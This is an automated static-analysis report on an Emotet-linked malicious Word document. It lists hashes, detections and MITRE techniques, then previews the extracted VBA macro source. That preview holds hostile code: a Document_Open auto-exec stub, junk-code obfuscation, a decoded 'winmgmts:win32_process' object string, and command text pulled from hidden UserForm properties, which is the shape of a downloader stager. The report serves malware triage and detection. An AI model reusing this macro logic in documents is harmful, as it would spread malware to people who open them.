Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7c33b0e9ae5fd264…

MALICIOUS

Office (OLE)

237.0 KB Created: 2020-08-20 14:20:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 21bbd89bbf70553334d8cb633b6e9783 SHA-1: 4cef4d3ef25cb07fece3c4a827964b8215194893 SHA-256: 7c33b0e9ae5fd2643cc3976d180b60b60de875fe46cb26db9137ccea589da7f3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical infection chain. The ClamAV detection explicitly names Emotet. The macro's obfuscated nature and use of CreateObject suggest it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9424934-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9424934-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11040 bytes
SHA-256: 7b9876c8959bc7c7f5c4c6fed65362a2ffe3b867d205bb8a5c8fc65ebebaf8c7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Mwwyjb0dgk9wpkh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Zab3f9gf4w8r9bmem.Y5j88wot8wrh
End Sub


Attribute VB_Name = "Zab3f9gf4w8r9bmem"
Attribute VB_Base = "0{D4DB6A43-1EFE-412B-A8AB-9B75D0887E17}{2FA30B14-E4A0-4931-9F53-41F802AA1434}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Y5j88wot8wrh()
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Uamka1h0fbu = Zab3f9gf4w8r9bmem.HelpContextId + 50 + 50
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Uwxytv9gxow = ChrW(Uamka1h0fbu + (15))
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Xsnnomcy3wfwmpcgj0 = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + Uwxytv9gxow + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + Zab3f9gf4w8r9bmem.J_jfctl8taf1 + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Khawr2f8da6ge5 = Bj0e87tc0w23(Xsnnomcy3wfwmpcgj0)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Set Mpq8nn41g1ucy = CreateObject(Khawr2f8da6ge5)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Lkiq886n0hbndv = Zab3f9gf4w8r9bmem.Xy570pktf2ra2pc.ControlTipText
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End 
... (truncated)

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